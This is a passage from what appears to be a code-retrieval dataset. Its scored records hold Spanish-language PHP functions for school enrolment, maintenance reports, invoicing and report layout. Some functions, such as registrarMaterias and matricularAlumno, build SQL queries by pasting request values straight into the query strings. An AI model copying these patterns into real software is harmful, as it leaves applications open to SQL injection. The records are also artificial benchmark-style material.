\n\n }\n \n }\n }\n */\n $em->flush();\n return array(\n 'alumnos'=>$alumnos,\n 'anos_escolares'=>$anos_escolares,\n 'grados'=>$grados,\n 'grupos'=>$grupos\n );\n \n }", "title": "" }, { "docid": "fea114c1369f7c2f0d1a83012b49bb43", "score": "0.5233741", "text": "public function tipoManteMes($anio){\n \n $tiposMante = tiposMantenimientos::get();\n $cantTipoMante = $tiposMante->count();\n\n if($anio != 0){\n $inicio_anio = $anio.'-01-01';\n $final_anio = $anio.'-12-31';\n }else{\n $anio=date('Y');\n $inicio_anio = $anio.'-01-01';\n $final_anio = $anio.'-12-31';\n } \n \n $mantenimientos = Mantenimientos::whereDate('created_at','>=',$inicio_anio)->whereDate('created_at','<=',$final_anio)->get();\n\n //$mantenimientos = Mantenimientos::get();\n\n \n foreach ($tiposMante as $tM => $tipo) {\n \n //restablezco en 0 cada mes del año, del 1 al 12\n for($i=1; $i<=12; $i++){\n $registrosMes[$i] = 0;\n }\n\n //recorro cada mantenimiento por cada tipo de mantenimiento\n foreach ($mantenimientos as $y => $item) {\n \n //valido si coincide los ID tanto de la tabla mantenimientos como tipoMantenimeinto\n if($tipo->id == $item->tipo){\n\n //extraigo el mes de cada fecha de mantenimiento\n $mes = date(\"n\",strtotime($item->created_at));\n\n //incremento el registro segun el mes\n $registrosMes[$mes]++;\n }\n }\n\n /*construyo el array que será enviado al grafico, con nombre del tipo de equipo y los registros hallados por cada mes\n utilizo el metodo array_flatten para descartar los meses del año con el fin de acomodar el arreglo al formato de la grafica*/\n $series[$tM]=[\n 'name'=>$tipo->nombre,\n 'data'=>array_flatten($registrosMes) \n ];\n }\n\n $data = array(\"tipoMantenimiento\"=>$tiposMante, \"cantTipoMante\"=>$cantTipoMante, \"tiposxMes\"=>$registrosMes, \"series\"=>$series, \"anio\"=>$anio);\n return json_encode($data);\n }", "title": "" }, { "docid": "8a1f7c7923f5020ce6b2d8a1a59469b3", "score": "0.5231547", "text": "function crearVinculos($id_experiencia, $id_actividad_revision, $conexion){\n\t\t\n\t\t//Debo obtener información de mi experincia\n\t\t$datosExperiencia = dbPObtenerInfExperiencia($id_experiencia, $conexion);\n\t\t$anio = $datosExperiencia['anio'];\n\t\t//echo \"anio\".$anio.\"-\";\n\t\t$semestre = $datosExperiencia['semestre'];\n\t\t//echo \"semestre\".$semestre.\"-\";\n\t\t$id_diseno_didactico = $datosExperiencia['id_diseno_didactico'];\n\t\t\n\n\t\t//Obtener todos id de la tabla coevgrupo y el id_grupo los grupos de mi experiencia que estén en la tabla coev grupo ordenados por id grupo asc Ej [1,2,3,4]\n\t\t$GruposMiExperiencia = dbPObtenerGruposMiExperiencia($id_experiencia, $id_actividad_revision,$conexion);\n\n\t\t//Obtener todos los id de la tabla coevgrupo y de id_grupo los grupos de mi experiencia ordenados por id grupo asc sin tener grupo revisor \n\t\t//$GruposMiExperienciaCopia = dbPObtenerGruposMiExperienciaCopia($id_experiencia, $id_actividad_revision,$conexion);\n\t\t//Obtener todos los id de la tabla coevgrupo y de id_grupo los grupos de mi experiencia ordenados por id grupo desc sin tener grupo revisor \n\t\t$GruposMiExperienciaCopia = dbPObtenerGruposMiExperienciaDesc($id_experiencia, $id_actividad_revision,$conexion);\n\t\t$NumMisGr = count($GruposMiExperiencia);\n\t\t$NumGruposVinculados= 0;\n\n\t\t//Obtiene todos los id de la tabla coevgrupo y id_grupo de otras experiencias\n\t\t$GruposOtrasExperiencias = dbPObtenerGruposOtrasExperiencias($id_experiencia, $id_actividad_revision, $anio, $semestre, $id_diseno_didactico, $conexion);\n\t\t$NumOtrosGr = count($GruposOtrasExperiencias);\n\t\t$ConsultasVinculacion = array();\n\n\t\t//Después del for queda un arreglo con todos los grupos distintos.\n\t\t$GruposMiExperiencia1= array();\n\t\tfor($i=0; $i<$NumMisGr; $i=$i+2){\n\t\t\tarray_push($GruposMiExperiencia1, $GruposMiExperiencia[$i]);\n\t\t}\n\n\t\t// reordenar $GruposMiExperiencia1 para que los revisados queden al final\n\t\t$reordenado1 = array();\n\t\t$alFinal = array();\n\t\tfor ($i = 0; $i < count($GruposMiExperiencia1); $i++) {\n\t\t\tif (noEstaEn($GruposMiExperiencia1[$i]['id_coev'], $GruposMiExperienciaCopia, 'id_coev')) {\n array_push($alFinal, $GruposMiExperiencia1[$i]);\n\t\t\t} else {\n\t\t\t\tarray_push($reordenado1, $GruposMiExperiencia1[$i]);\n\t\t\t}\n\t\t}\n\t\tfor ($i = 0; $i < count($alFinal); $i++) {\n\t\t\tarray_push($reordenado1, $alFinal[$i]);\n\t\t}\n\t\t$GruposMiExperiencia1 = $reordenado1;\n\t\t\n\t\t$GruposMiExperiencia2= array();\n\t\tfor($i=1; $i<$NumMisGr; $i=$i+2){\n\t\t\tarray_push($GruposMiExperiencia2, $GruposMiExperiencia[$i]);\n\t\t}\n\n\t\t// reordenar $GruposMiExperiencia2 para que los revisados queden al final\n\t\t$reordenado2 = array();\n\t\t$alFinal = array();\n\t\tfor ($i = 0; $i < count($GruposMiExperiencia2); $i++) {\n\t\t\tif (noEstaEn($GruposMiExperiencia2[$i]['id_coev'], $GruposMiExperienciaCopia, 'id_coev')) {\n array_push($alFinal, $GruposMiExperiencia2[$i]);\n\t\t\t} else {\n\t\t\t\tarray_push($reordenado2, $GruposMiExperiencia2[$i]);\n\t\t\t}\n\t\t}\n\t\tfor ($i = 0; $i < count($alFinal); $i++) {\n\t\t\tarray_push($reordenado2, $alFinal[$i]);\n\t\t}\n\t\t$GruposMiExperiencia2 = $reordenado2;\n\t\t\n\t\t$GruposMiExperiencia= array();\n\t\tfor($j=0;$j<count($GruposMiExperiencia1); $j++){\n\t\t\tarray_push($GruposMiExperiencia, $GruposMiExperiencia1[$j]);\n\t\t}\n\n\t\tfor($j=0;$j<count($GruposMiExperiencia2); $j++){\n\t\t\tarray_push($GruposMiExperiencia, $GruposMiExperiencia2[$j]);\n\t\t}\n\n\t\t//Recorrer la lista de mis grupos\n\t\tforeach($GruposMiExperiencia as $indice => $datosrevisor){\n\t\t\t//echo \"En Foreach recorriendo la lista de grupos: <br>\";\n\t\t\t//Por cada grupo revisor de mi experiencia busco un revisado\n\t\t\t$id_grevisor = $datosrevisor['id_grevisor'];\n\t\t\t//echo \"Id GrupoRevisor:\".$id_grevisor.\" <br>\";\n\t\t\t\n\t\t\t//Busco grupos en otras experiencias si el número de vinculaciones es menor al número de grupos de la otra experiencia\n\t\t\tif($NumGruposVinculados < $NumOtrosGr){\n\t\t\t\t//echo \"En if <br>\";\n\t\t\t\t$revisado = array_shift($GruposOtrasExperiencias); // El grupo obtenido para ser revisado se elimina del arreglo.\n\t\t\t\tif($revisado) {\n\t\t\t\t\t//echo \"Existe revisado <br>\";\n\t\t\t\t\t$id_coev = $revisado['id_coev'];\n\t\t\t\t\t//echo \"id_coev: \".$id_coev.\"<br>\";\n\t\t\t\t\t$cons1 = dbPInsertarRevisor($id_coev, $id_grevisor);\n\t\t\t\t\t//echo $cons1;\n\t\t\t\t\t$res1 = mysql_query($cons1) or die (\"No se pudo ejecutar la consulta:\". mysql_error());\n\t\t\t\t\t$NumGruposVinculados++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t//Busco grupos en mi propia experiencia porque no quedan grupos en la experiencia gemela.\n\t\t\telse{\n\t\t\t\t//echo \"En el else <br>\";\n\t\t\t\t$id_grevisado = $id_grevisor;\n\t\t\t\t$cont = 0;\n\t\t\t\t$encontrado = false;\n\t\t\t\t//echo \"id_grevisor:\".$id_grevisor.\" id_grevisado:\".$id_grevisado.\" cont:\".$cont.\"num mis grupos: \".$NumMisGr.\" <br>\";\n\n\t\t\t\t//While se ejecuta mientras no ha sido encontrado el grupo revisado y el grupo revisor sea el mimsmo que el grupo revisado y todavía hay grupos \n\t\t\t\t//de mi experiencia. \n\t\t\t\twhile(!$encontrado and ($id_grevisor == $id_grevisado) and $cont< $NumMisGr){\n\n\t\t\t\t\tif(array_key_exists($cont, $GruposMiExperienciaCopia)){\n\t\t\t\t\t\t//echo \"En if array key <br>\";\n\t\t\t\t\t\t//Toma el primer grupo del arreglo y lo deja como revisado.\n\t\t\t\t\t\t$revisado = $GruposMiExperienciaCopia[$cont];\n\t\t\t\t\t\t$id_coev = $revisado['id_coev'];\n\t\t\t\t\t\t$id_grevisado = $revisado['id_grevisor'];\n\t\t\t\t\t}\t\n\t\t\t\t\t$cont++;\t\t\t\t\n\t\t\t\t\tif($id_grevisado != $id_grevisor){\t\t\t\t\t\t\n\t\t\t\t\t\t$cons2 = dbPInsertarRevisor($id_coev, $id_grevisor);\n\t\t\t\t\t\t$res2 = mysql_query($cons2);\n\t\t\t\t\t\tif($res2){\t\t\t\t\t\n\t\t\t\t\t\t\t//Saca el grupo de la lista ya que fue elegido como revisado \n\t\t\t\t\t\t\tunset($GruposMiExperienciaCopia[$cont-1]);\n\t\t\t\t\t\t\t$NumGruposVinculados++;\n\t\t\t\t\t\t\t$encontrado = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t//echo \"No se metio al if del res2\"; Salida flaite\n\t\t\t\t\t\t\t$id_grevisado = $id_grevisor;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t//echo \"fuera del if id grevisado! a grevisor\";\n\t\t\t\t\t// reordenar $GruposMiExperienciaCopia para que no se \"cierren\" las vinculaciones prematuramente\n\t\t\t\t}\t\t\t\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t//echo \"<br>\"\t;\n\t\t}\n\t\t\n\t\t$_resp = true;\n\t}", "title": "" }, { "docid": "5b2be7cd97f80dcaf5fb680e2deb9c95", "score": "0.52238166", "text": "public function registrarMaterias() {\n \t\t$sql = \"\";\n \t\t$this->conn = new Conexion('../../php/datosServer.php');\n\t\t\t$this->conn = $this->conn->conectar();\n\t\t\t\n\t\t\tfor($i = 1; $i <= 6; $i++) {\n\t\t\t\t$sql .= \"INSERT INTO calificaciones VALUES (\".$_SESSION['alumno'].\",'\".$_POST['mat-'.$i].\"', -1, -1, -1, -1, -1, -1, -1, -1,'\".$_POST['tip'.$i].\"');\";\n\t\t\t\t}\n\t\t\t\n\t\t\tif ($this->conn->multi_query($sql) === TRUE) {\n\t\t\t\t echo 1;\n\t\t\t\t} else {\n\t\t\t\t echo \"Error: \" . $sql . \"<br>\" . $conn->error;\n\t\t\t\t}\n $this->conn->close();\t\n\t\t\t}", "title": "" }, { "docid": "9bc485c26873128d882c67f6f93f2229", "score": "0.52094364", "text": "public function fillDataEnterpriseEs2(){\n\t\tsession_start();\n\t\t$validaMateria=\"\";\n\t\t$getData = $this->myModel->validate_materia_aprobada($_SESSION['matr'],2);\n\t\tforeach ($getData as $dato) {\n \t$validaMateria=$dato['estado_pro'];\n }\n if ($validaMateria==\"ACTIVADA\") { #cambiar el estado [ASESOR]\n\t\t\trequire_once 'views/headerAlumno.inc';\t\t\n\t\t\t$datos = $this->myModel->get_list_enterprises();\n\t\t\trequire_once 'views/fillDataEnterpriseE2.php'; \n\t\t\trequire_once 'views/footerAlumno.inc';\n }else if($validaMateria==\"VALIDADO\"){\n \trequire_once 'views/headerAlumno.inc';\n \t$myController = new controller();\n\t\t\t$myController->formDocumentsEstancias2();\t\n \trequire_once 'views/footerAlumno.inc';\n\t\t}else{\n\t\t\trequire_once 'views/headerAlumno.inc';\n \techo \"<h3>No esta habilitado este proceso</h3>\";\n \trequire_once 'views/footerAlumno.inc';\n\n\t\t}\n\t}", "title": "" }, { "docid": "9e606f9639483c1838acfca56dbf5987", "score": "0.52079225", "text": "public function generarFacturas(){\n $suministros = Suministro::all();\n foreach ($suministros as $suministro) {\n $nuevoCobro = new CobroAgua();\n $nuevoCobro->fechaperiodo = date(\"Y-m-d H:i:s\");;\n $nuevoCobro->numerosuministro = $suministro->numerosuministro;\n $nuevoCobro->estapagada = false;\n $nuevoCobro->save(); \n }\n $this->agregarOtrosRubros();\n return [];\n }", "title": "" }, { "docid": "675f472a25660204954368091f6f4f27", "score": "0.52049303", "text": "static public function crearFalla($datos)\n\t\t{\n\t\t\t$CI = &get_instance();\n\t\t\t$falla = self::getInstancia($datos->falla->id);\n\t\t\t// $falla->influencia = $datos->falla->influencia;\n\t\t\t$falla->factorArea = $datos->falla->factorArea;\n\t\t\t// TipoFalla viene con id. getInstancia\n\t\t\t$falla->tipoFalla = TipoFalla::getInstancia($datos->tipoFalla->id);\n\t\t\t$falla->influencia = $falla->tipoFalla->influencia;\n\t\t\t// TipoMaterial se obtiene a traves del Tipo de Falla\n\t\t\t$falla->tipoMaterial = $falla->tipoFalla->getMaterial();\n\t\t\t// TipoReparacion se obtiene a traves del Tipo de Falla\n\t\t\t$falla->tipoReparacion = TipoReparacion::getInstancia($datos->reparacion->id);\n\t\t\t$falla->criticidad = Criticidad::getInstancia($datos->criticidad->id);\n\t\t\t// Observacion\n\t\t\t$falla->observaciones = array();\n\t\t\t// TODO: Ver donde acomodarlo mejor\n\t\t\t$user = $CI->ion_auth->user()->row();\n\t\t\t$datos->observacion->nombreObservador = $user->username;\n\t\t\t$datos->observacion->emailObservador = $user->email;\n\t\t\t// \n\t\t\t$observacion = new Observacion($datos->observacion, date(\"Y-m-d H:i:s\"));\n\t\t\t$observacion->falla = $falla;\n\t\t\t$observacion->save();\n\t\t\tarray_push($falla->observaciones, $observacion);\n\t\t\t// TipoAtributo\n\t\t\t$falla->atributos = array_map(function ($atributo)\n\t\t\t{\n\t\t\t\t$tipoAtributo = TipoAtributo::getInstancia($atributo->id);\n\t\t\t\t$tipoAtributo->valor = $atributo->valor;\n\t\t\t\treturn $tipoAtributo;\n\t\t\t}, $datos->atributos);\n\t\t\t// Por cada tipo de atributo se establece una entrada en la tabla FallaTipoAtributoModelo\n\t\t\t$falla->asociarAtributos();\n\t\t\t// \n\t\t\t$usuario = new stdClass();\n\t\t\t$usuario->id = $user->id;\n\t\t\t$usuario->nombre = $user->username;\n\t\t\t$usuario->email = $user->email;\n\n\t\t\t$falla->estado = Estado::getEstadoActual($falla->id);\n\t\t\t$falla->estado = $falla->estado->cambiar($falla, $datos, $usuario);\n\t\t\t$falla->actualizar();\n\t\t\t$falla->asociarEstado();\n\t\t\t$CI->utiles->debugger($falla);\n\t\t\treturn $falla;\n\t\t}", "title": "" }, { "docid": "391ec1b6eaf5abd63f961c8fa4210088", "score": "0.5204562", "text": "public function run()\n {\n\n $distribuidor1 = Distribuidor::where('giro_emp', 'Hilos de Polipropileno')->first();\n $distribuidor2 = Distribuidor::where('giro_emp', 'Carpinteria Oro de Caoba')->first();\n $distribuidor3 = Distribuidor::where('giro_emp', 'Ferreteria del Istmo')->first();\n\n\n $compra = new Compra();\n $compra->fecha = '2019-01-04';\n $compra->distribuidor_id = $distribuidor1->distribuidor_id;\n $compra->save();\n\n $materialId = 1;\n $increment = 10;\n $compra->materials()->attach($materialId, ['cantidad' => $increment]);\n Material::find($materialId)->increment('cantidad', $increment);\n\n $materialId = 2;\n $increment = 55;\n $compra->materials()->attach($materialId, ['cantidad' => $increment]);\n Material::find($materialId)->increment('cantidad', $increment);\n\n $materialId = 3;\n $increment = 42;\n $compra->materials()->attach($materialId, ['cantidad' => $increment]);\n Material::find($materialId)->increment('cantidad', $increment);\n\n //\n\n $compra = new Compra();\n $compra->fecha = '2019-01-05';\n $compra->distribuidor_id = $distribuidor2->distribuidor_id;\n $compra->save();\n\n $materialId = 4;\n $increment = 101;\n $compra->materials()->attach($materialId, ['cantidad' => $increment]);\n Material::find($materialId)->increment('cantidad', $increment);\n\n //\n\n $compra = new Compra();\n $compra->fecha = '2019-01-06';\n $compra->distribuidor_id = $distribuidor3->distribuidor_id;\n $compra->save();\n\n $materialId = 5;\n $increment = 67;\n $compra->materials()->attach($materialId, ['cantidad' => $increment]);\n Material::find($materialId)->increment('cantidad', $increment);\n\n $materialId = 6;\n $increment = 9;\n $compra->materials()->attach($materialId, ['cantidad' => $increment]);\n Material::find($materialId)->increment('cantidad', $increment);\n\n //\n\n $compra = new Compra();\n $compra->fecha = '2019-01-04';\n $compra->distribuidor_id = $distribuidor1->distribuidor_id;\n $compra->save();\n\n $materialId = 7;\n $increment = 213;\n $compra->materials()->attach($materialId, ['cantidad' => $increment]);\n Material::find($materialId)->increment('cantidad', $increment);\n\n $materialId = 8;\n $increment = 2;\n $compra->materials()->attach($materialId, ['cantidad' => $increment]);\n Material::find($materialId)->increment('cantidad', $increment);\n\n }", "title": "" }, { "docid": "fe30444800b3470df089416bae643366", "score": "0.518943", "text": "public function matricularAlumno($a1,$a2,$a3,$a4,$a5,$a6,$a7,$a8,$a9,$a10,$b1){\n\t\t//Almaceno los datos del Alumno\n\t\t$sql=\"INSERT INTO estudiantes (nombreEstudiante,apellidoEstudiante,identidad,correo,fechaNacimiento,genero,direccion,idEncargado,parentescoConEncargado,telefono) VALUES ('$a1','$a2','$a3','$a4','$a5','$a6','$a7','$a8','$a9','$a10')\";\n\t\t$this->bd->query($sql);\n\t\t$idEstudiante = $this->bd->insert_id;\n\t\t//Matriculo al estudiante en el curso que se solicito\n\t\t$sql = \"INSERT INTO matricula (idEstudiante,idCurso) VALUES ('$idEstudiante','$b1')\";\n\t\t$this->bd->query($sql);\n\t}", "title": "" }, { "docid": "020c6f322a6e441a0edc1491d7611a4e", "score": "0.5187556", "text": "function vista_editar_kit($objeto) {\n\t// Si el objeto viene vacio(llamado desde el index) se le asigna el $_REQUEST que manda el Index\n\t// Si no conserva su valor normal\n\t\t$objeto = (empty($objeto)) ? $_REQUEST : $objeto;\n\t\t$panel = $objeto['panel'];\n\n\t// Consulta los productos\n\t\t$kits = $this -> configuracionModel -> listar_kits($objeto);\n\t\t$kits = $kits['rows'];\n\t\n\t// Obtiene los productos de los kits y los agrega\n\t\tforeach ($kits as $key => $value) {\n\t\t\t$productos = $this -> configuracionModel -> listar_productos($value);\n\t\t\t$value['productos'] = $productos['rows'];\n\t\t\t\n\t\t\t$horario = (!empty(strpos($value['dias'], \"0\"))) ? 'Do, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"1\"))) ? 'Lu, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"2\"))) ? 'Ma, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"3\"))) ? 'Mi, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"4\"))) ? 'Ju, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"5\"))) ? 'Vi, ' : '' ;\n\t\t\t$horario .= (!empty(strpos($value['dias'], \"6\"))) ? 'Sa, ' : '' ;\n\t\t\t\n\t\t\t$value['horario'] = substr($horario, 0, -2);\n\t\t\t$value['horario'] .= ' == '.$value['inicio'].'-'.$value['fin'];\n\t\t\t\n\t\t// Agrega el elemento al array\n\t\t\t$datos[$key] = $value;\n\t\t}\n\t\t\n\t// Inicializa el array de los productos agregados\n\t\tsession_start();\n\t\t$_SESSION['productos_agregados'] = '';\n\t\n\t// Carga la vista de edicion por default si no existe una vista\n\t\t$vista = (!empty($objeto['vista'])) ? $objeto['vista'] : 'editar_kit';\n\t\t\n\t// Carga la vista\n\t\trequire ('views/configuracion/'.$vista.'.php');\n\t}", "title": "" }, { "docid": "887256776b25dfee9f2f1cca7c725d77", "score": "0.51715016", "text": "function index_alumnos(){\n\t\t$this->set(\"asignaturas\",\t$this->Asignatura->find('all'));\n\t\t$this->set(\"matriculas\",\t$this->Matricula->find('all',\n\t\t\tarray(\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'Matricula.users_id ' => $this->Auth->user('id'))\n\t\t\t\t)\n\t\t\t)\n\t\t);\t\n\t}", "title": "" }, { "docid": "1b4fa6a12bb563ea0e42664c71f46096", "score": "0.5167731", "text": "private function setFacturaMayorista($idCliente) {\n\n $cliente = $this->Mdl_venta->getDatosCliente($idCliente);\n $importebruto = $this->CalculaImporteBruto();\n\n $ultimafactura = $this->Mdl_venta->getFacturaMayorista($idCliente);\n\n if (!$ultimafactura) {//Si no existe ultima factura, se genera otra\n $factura = array(\n 'fecha_factura' => date(\"Y/m/d\"),\n 'cantidad_total' => $this->myCarrito->articulos_total(),\n 'importe_bruto' => $importebruto,\n 'base_imponible' => $importebruto, //quitar descuento\n 'cantidad_iva' => $this->myCarrito->precio_total() - $importebruto,\n 'importe_total' => $this->myCarrito->precio_total(),\n 'importe_total_descuento'=> $this->myCarrito->precio_total(), //Como no tiene descuento, es el mismo importe\n 'pendiente_pago' => 'Sí',\n //'fecha_cobro' => date(\"Y/m/d\"),\n 'descuento' => 0,\n 'direccion' => $cliente['direccion'],\n 'localidad' => $cliente['localidad'],\n 'cp' => $cliente['cp'],\n 'idProvincia' => $cliente['idProvincia'],\n 'nif' => $cliente['nif'],\n 'nombre_cliente' => $cliente['nombre'],\n 'idCliente' => $idCliente\n );\n\n $idFactura = $this->Mdl_venta->setFactura($factura);\n } else {//Si existe, se le añaden los nuevos datos\n \n $idFactura = $ultimafactura['idFactura'];\n \n $importe_total = $ultimafactura['importe_total'];\n $descuento = $ultimafactura['descuento'];\n \n $factura = array(\n 'cantidad_total' => $ultimafactura['cantidad_total'] + $this->myCarrito->articulos_total(),\n 'importe_bruto' => $ultimafactura['importe_bruto'] + $importebruto,\n 'base_imponible' => $ultimafactura['importe_bruto'] + $importebruto, //quitar descuento\n 'cantidad_iva' => $ultimafactura['cantidad_iva'] + ($this->myCarrito->precio_total() - $importebruto),\n 'importe_total' => $importe_total + $this->myCarrito->precio_total(),\n 'pendiente_pago' => 'Sí',\n 'importe_total_descuento'=> ($importe_total + $this->myCarrito->precio_total()) * (1 - ($descuento / 100))\n //le aplicamos el descuento guardado\n );\n\n $this->Mdl_venta->UpdateFactura($idFactura, $factura);\n }\n\n\n return $idFactura;\n }", "title": "" }, { "docid": "2bf9701999ebed6f8c688c33cce2e1c8", "score": "0.514726", "text": "function affiche_KO($valeurs, $names,$result=1){\r\n\t\t// $result = 1 => resultats\r\n\t\t// $result = 0 => schedule\r\n\r\n\t\t/*\t print_r($valeurs);\r\n\t\t echo \"<hr>\";\r\n\t\t print_r($names);\r\n\t\t echo \"<hr>\";*/\r\n\r\n\t\t$lesnoms = array();\r\n\t\tforeach($names as $name)\r\n\t\t{\r\n\t\t\tarray_push($lesnoms,\"\");\r\n\t\t\tif(is_string($name))\r\n\t\t\t$lesnoms[] = $name;\r\n\t\t\telse\r\n\t\t\t$lesnoms[] = $name['value'];\r\n\t\t}\r\n\r\n\t\t$n_lignes = count($lesnoms);\r\n\t\t$n_col = 0;\r\n\r\n\t\tforeach($valeurs as $colonne)\r\n\t\t{\r\n\t\t\t$n_col++;\r\n\t\t\t$lesvaleurs[$n_col] = array();\r\n\t\t\tforeach($colonne as $valeur)\r\n\t\t\t{\r\n\t\t\t\tarray_push($lesvaleurs[$n_col],\"\");\r\n\r\n\t\t\t\t$lesvaleurs[$n_col][] = $valeur['value'];\r\n\r\n\t\t\t\tif(($result)&&($valeur['score']!=\"0-0\"))\r\n\t\t\t\t$lesvaleurs[$n_col][] = $valeur['score'];\r\n\t\t\t\telse\r\n\t\t\t\tarray_push($lesvaleurs[$n_col],\"\");\r\n\r\n\t\t\t\t//$lesvaleurs[$n_col][] = $valeur['noc'];\r\n\r\n\t\t\t\tarray_push($lesvaleurs[$n_col],\"\");\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$yinit = 70;\r\n\t\t$xinit = 10;\r\n\t\t$taille_bloc = 12; // fonction de $n_col\r\n\t\t$taille_texte = 6; // fonction de $n_col\r\n\t\t$largeur_bloc = 277/4; // fonction de $n_col\r\n\r\n\t\t$xinit = (297-(($n_col+1) * $largeur_bloc))/2;\r\n\t\t$xpos = $xinit;\r\n\t\t$ypos = $yinit-20;\r\n\t\t$this->SetFillColor(192);\r\n\r\n\t\t$this->SetXY($xpos,$ypos);\r\n\t\t$this->SetFont('Arial','B',14);\r\n\t\t$n_val = count($lesvaleurs[$n_col]);\r\n\t\t$titre = $this->getEntete(0,$n_col);\r\n\t\t$this->Cell($largeur_bloc,$taille_bloc,\"\".$titre,1,0,'C','1');\r\n\t\t$xpos += $largeur_bloc;\r\n\t\tfor($i=0;$i< $n_col; $i++)\r\n\t\t{\r\n\t\t\t$this->SetXY($xpos,$ypos);\r\n\t\t\t$n_val = count($lesvaleurs[$n_col]);\r\n\t\t\t$titre = $this->getEntete($i+1,$n_col);\r\n\t\t\t$this->Cell($largeur_bloc,$taille_bloc,\"\".$titre,1,0,'C','1');\r\n\t\t\t$xpos += $largeur_bloc;\r\n\t\t}\r\n\r\n\t\t//print_r($lesnoms);\r\n\t\t//echo \"<hr>\";\r\n\t\t//print_r($lesvaleurs);\r\n\r\n\t\t$xpos = $xinit;\r\n\t\t$ypos = $yinit;\r\n\t\t$this->SetFillColor(255);\r\n\t\t$this->SetFont('Arial','',10);\r\n\t\t//Cell( w, h, txt, border, ln, align, fill, link)\r\n\t\tfor($i=0;$i< $n_lignes; $i++)\r\n\t\t{\r\n\t\t\t$this->SetXY($xpos,$ypos);\r\n\t\t\t// on veut $i de 1 � 4 et non de 0 � 3 !\r\n\t\t\t$bord = $this->getBordureNom($i+1);\r\n\t\t\t$this->Cell($largeur_bloc, $taille_bloc-$taille_texte,\r\n\t\t \"\".$lesnoms[$i++],$bord,0,'C');\r\n\t\t\t$ypos += $taille_bloc-$taille_texte;\r\n\t\t\t$this->SetXY($xpos,$ypos);\r\n\t\t\t// on veut $i de 1 � 4 et non de 0 � 3 !\r\n\t\t\t$bord = $this->getBordureNom($i+1);\r\n\t\t\t$this->Cell($largeur_bloc,$taille_texte,\"\".$lesnoms[$i],$bord,0,'C');\r\n\t\t\t$ypos += $taille_texte;\r\n\t\t}\r\n\r\n\t\t$taille_bloc_init = $taille_bloc;\r\n\t\t// $taille_bloc = 16;\r\n\t\t$xpos = $xinit+$largeur_bloc;\r\n\t\t$ypos = $yinit;\r\n\t\t$finale = 0;\r\n\t\tfor($j=1;$j<=$n_col;$j++)\r\n\t\t{\r\n\t\t\t$n_lignes = count($lesvaleurs[$j]);\r\n\t\t\tif($n_lignes==4) $finale = 1 ;\r\n\r\n\t\t\t$this->SetXY($xpos,$ypos);\r\n\t\t\t$this->Cell($largeur_bloc,$taille_bloc_init / 2,\"\",0,0,'C');\r\n\t\t\t$ypos += $taille_bloc_init / 2 ;\r\n\r\n\t\t\tfor($i=0;$i< $n_lignes; $i++)\r\n\t\t\t{\r\n\t\t\t\t$this->SetXY($xpos,$ypos);\r\n\t\t\t\t// on veut $i de 1 � 4 et non de 0 � 3 !\r\n\t\t\t\t$bord = $this->getBordureKO($i+1,$finale);\r\n\t\t\t\t$this->Cell($largeur_bloc,$taille_bloc-$taille_texte,\r\n\t\t\t\"\".$lesvaleurs[$j][$i++],$bord,0,'C');\r\n\t\t\t\t$ypos += $taille_bloc-$taille_texte;\r\n\t\t\t\t$this->SetXY($xpos,$ypos);\r\n\t\t\t\t// on veut $i de 1 � 4 et non de 0 � 3 !\r\n\t\t\t\t$bord = $this->getBordureKO($i+1,$finale);\r\n\t\t\t\t$this->Cell($largeur_bloc,$taille_texte,\r\n\t\t\t\"\".$lesvaleurs[$j][$i++],$bord,0,'C');\r\n\t\t\t\t$ypos += $taille_texte;\r\n\t\t\t\t$this->SetXY($xpos,$ypos);\r\n\t\t\t\t// on veut $i de 1 � 4 et non de 0 � 3 !\r\n\t\t\t\t$bord = $this->getBordureKO($i+1,$finale);\r\n\t\t\t\t$this->Cell($largeur_bloc,$taille_texte,\r\n\t\t\t\"\".$lesvaleurs[$j][$i++],$bord,0,'C');\r\n\t\t\t\t$ypos += $taille_texte;\r\n\t\t\t\t$this->SetXY($xpos,$ypos);\r\n\t\t\t\t// on veut $i de 1 � 4 et non de 0 � 3 !\r\n\t\t\t\t$bord = $this->getBordureKO($i+1,$finale);\r\n\t\t\t\t$this->Cell($largeur_bloc,$taille_bloc-$taille_texte,\r\n\t\t\t\"\".$lesvaleurs[$j][$i],$bord,0,'C');\r\n\t\t\t\t$ypos += $taille_bloc-$taille_texte;\r\n\t\t\t}\r\n\t\t\t$taille_bloc = $taille_bloc * 2 ;\r\n\t\t\t$ypos = $yinit;\r\n\t\t\t$xpos += $largeur_bloc;\r\n\t\t}\r\n\r\n\t}", "title": "" }, { "docid": "31829209d009628b2674786c7dc07129", "score": "0.51471925", "text": "public function actionCreate()\n {\n //se crea una instancia del modelo estados\n\t\t$estadosTable \t\t \t= new Estados();\n\t\t//se traen los datos de estados\n\t\t$dataestados\t\t \t= $estadosTable->find()->where( 'id=1' )->all();\n\t\t//se guardan los datos en un array\n\t\t$estados\t \t \t \t= ArrayHelper::map( $dataestados, 'id', 'descripcion' );\n\t\t\n\t\t\n\t\t$model = new DistribucionesIndicadorDesempeno();\n\n /**\n\t\t* Concexion a la db, llenar select de distribuciones academicas\n\t\t*/\n\t\t//variable con la conexion a la base de datos \n\t\t$connection = Yii::$app->getDb(); //FALTARIA EL DOCENTE\n\t\t\n\t\t$command = $connection->createCommand(\"select da.id, concat(a.descripcion,' ',p.descripcion) as distribucion \n\t\t\t\t\t\t\t\t\t\t\t\tfrom distribuciones_academicas as da, asignaturas as a, asignaturas_x_niveles_sedes as ans,paralelos as p\n\t\t\t\t\t\t\t\t\t\t\t\twhere da.id_asignaturas_x_niveles_sedes = ans.id\n\t\t\t\t\t\t\t\t\t\t\t\tand ans.id_asignaturas = a.id\n\t\t\t\t\t\t\t\t\t\t\t\tand da.id_paralelo_sede = p.id\n and da.estado = 1\n\t\t\t\t\t\t\t\t\t\t\t\tgroup by a.descripcion, p.descripcion, da.id\n order by da.id\");\n\t\t$result = 